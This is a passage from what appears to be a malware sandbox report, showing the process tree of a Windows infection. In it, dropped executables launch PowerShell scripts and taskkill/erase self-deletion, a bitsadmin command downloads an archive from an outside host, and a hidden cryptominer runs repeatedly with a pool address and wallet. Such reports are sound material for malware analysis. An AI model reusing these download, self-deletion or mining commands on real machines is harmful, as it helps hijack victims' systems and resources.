        "C:\Users\Admin\Documents\Jrg9McDagQzUoTscF1Sw07fP.exe"
        6⤵
        
        PID:2456
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\97562512718.exe"
        7⤵
        
        PID:2828
        
        C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\97562512718.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\97562512718.exe"
        8⤵
        
        PID:1408
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\98873812437.exe" /mix
        7⤵
        
        PID:2872
        
        C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\98873812437.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\98873812437.exe" /mix
        8⤵
        
        PID:580
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\61404946414.exe" /mix
        7⤵
        
        PID:1168
        
        C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\61404946414.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{2hoq-u79IG-3iXx-M3Aic}\61404946414.exe" /mix
        8⤵
        
        PID:1144
        
        C:\Users\Admin\AppData\Roaming\nailedp\edspolishpp.exe
        
        edspolishpp.exe
        9⤵
        
        PID:1404
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Jrg9McDagQzUoTscF1Sw07fP.exe" /f & erase "C:\Users\Admin\Documents\Jrg9McDagQzUoTscF1Sw07fP.exe" & exit
        7⤵
        
        PID:2580
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Jrg9McDagQzUoTscF1Sw07fP.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:2436
      - C:\Users\Admin\Documents\2HL4QwFZY6nysRCdlOz5psMF.exe
        
        "C:\Users\Admin\Documents\2HL4QwFZY6nysRCdlOz5psMF.exe"
        6⤵
        
        PID:2364
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj911B.tmp\tempfile.ps1"
        7⤵
        
        PID:1596
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj911B.tmp\tempfile.ps1"
        7⤵
        
        PID:2940
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj911B.tmp\tempfile.ps1"
        7⤵
        
        PID:2096
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj911B.tmp\tempfile.ps1"
        7⤵
        
        PID:1588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj911B.tmp\tempfile.ps1"
        7⤵
        
        PID:1296
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj911B.tmp\tempfile.ps1"
        7⤵
        
        PID:1768
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsj911B.tmp\tempfile.ps1"
        7⤵
        
        PID:2888
        
        C:\Windows\SysWOW64\bitsadmin.exe
        
        "bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z
        7⤵
        Download via BitsAdmin
        
        PID:1536
      - C:\Users\Admin\Documents\A8zN4Wo02hQQOcrc1KYvU8Ht.exe
        
        "C:\Users\Admin\Documents\A8zN4Wo02hQQOcrc1KYvU8Ht.exe"
        6⤵
        
        PID:2352
        
        C:\Users\Admin\Documents\A8zN4Wo02hQQOcrc1KYvU8Ht.exe
        
        "C:\Users\Admin\Documents\A8zN4Wo02hQQOcrc1KYvU8Ht.exe"
        7⤵
        
        PID:752
      - C:\Users\Admin\Documents\BWnh8Njy7_uVA1lBdhpKsfp6.exe
        
        "C:\Users\Admin\Documents\BWnh8Njy7_uVA1lBdhpKsfp6.exe"
        6⤵
        
        PID:2496
        
        C:\Users\Admin\Documents\BWnh8Njy7_uVA1lBdhpKsfp6.exe
        
        "C:\Users\Admin\Documents\BWnh8Njy7_uVA1lBdhpKsfp6.exe"
        7⤵
        
        PID:2248
      - C:\Users\Admin\Documents\LDTF9sEQLZUcg282IJIpygX5.exe
        
        "C:\Users\Admin\Documents\LDTF9sEQLZUcg282IJIpygX5.exe"
        6⤵
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\is-QLFRD.tmp\LDTF9sEQLZUcg282IJIpygX5.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QLFRD.tmp\LDTF9sEQLZUcg282IJIpygX5.tmp" /SL5="$101D8,28982256,486912,C:\Users\Admin\Documents\LDTF9sEQLZUcg282IJIpygX5.exe"
        7⤵
        
        PID:2728
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c arnatic_7.exe
      4⤵
      Loads dropped DLL
      PID:1604
    - - C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_7.exe
        
        arnatic_7.exe
        5⤵
        
        PID:1720
      - C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_7.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_7.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c arnatic_5.exe
      4⤵
      Loads dropped DLL
      PID:688
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c arnatic_1.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1792

C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_5.exe
arnatic_5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:884
- C:\Users\Admin\AppData\Roaming\3056220.exe
  "C:\Users\Admin\AppData\Roaming\3056220.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Users\Admin\AppData\Roaming\1023200.exe
  "C:\Users\Admin\AppData\Roaming\1023200.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  PID:1532
- - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1460
- C:\Users\Admin\AppData\Roaming\4285935.exe
  "C:\Users\Admin\AppData\Roaming\4285935.exe"
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Users\Admin\AppData\Roaming\3395683.exe
  "C:\Users\Admin\AppData\Roaming\3395683.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:408

C:\Users\Admin\AppData\Local\Temp\7zS0544F935\arnatic_1.exe
arnatic_1.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1556
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1556 -s 976
  2⤵
  - Program crash
  PID:1684

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2064 -s 292
1⤵
- Program crash
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2180

C:\Users\Admin\AppData\Local\Temp\274F.exe
C:\Users\Admin\AppData\Local\Temp\274F.exe
1⤵
PID:2836

C:\Users\Admin\AppData\Local\Temp\3FA0.exe
C:\Users\Admin\AppData\Local\Temp\3FA0.exe
1⤵
PID:916

C:\Users\Admin\AppData\Local\Temp\6D17.exe
C:\Users\Admin\AppData\Local\Temp\6D17.exe
1⤵
PID:2744
- C:\Users\Admin\AppData\Local\Temp\6D17.exe
  C:\Users\Admin\AppData\Local\Temp\6D17.exe
  2⤵
  PID:2652
- - C:\Users\Admin\AppData\Local\Temp\filterdll.exe
    "C:\Users\Admin\AppData\Local\Temp\filterdll.exe"
    3⤵
    PID:2504
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2824
  - - C:\ProgramData\Systemd\note3dll.exe
      NULL
      4⤵
      PID:2440
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1788
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2240
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2172
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2892
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2356
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2680
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1064
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1000
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2940
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1708
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1360
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1700
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2044
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2328
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1152
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1524
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2804
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1584
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2340
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2100
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2152
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2916
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2612
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1712
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1720
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:580
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1716
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2172
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2892
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1964
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2772
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1768
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2708
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:360
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:656
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2652
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2496
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1112
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1168
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2904
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2412
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2748
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2880
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2152
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2916
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2392
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1956
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2720
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1596
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2148
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2144
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:432
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2892
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2772
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2200
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1680
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2576
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2836
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1800
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1000
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2460
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1856
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:964
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2576
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2752
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1100
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1520
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1664
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2580
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1972
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1672
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:752
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2548
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1168
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1704
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2636
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1584
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2816
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2796
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2144
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2268
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2928
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2720
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1688
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1504
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2744
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2616
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2708
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1920
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1372
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1064
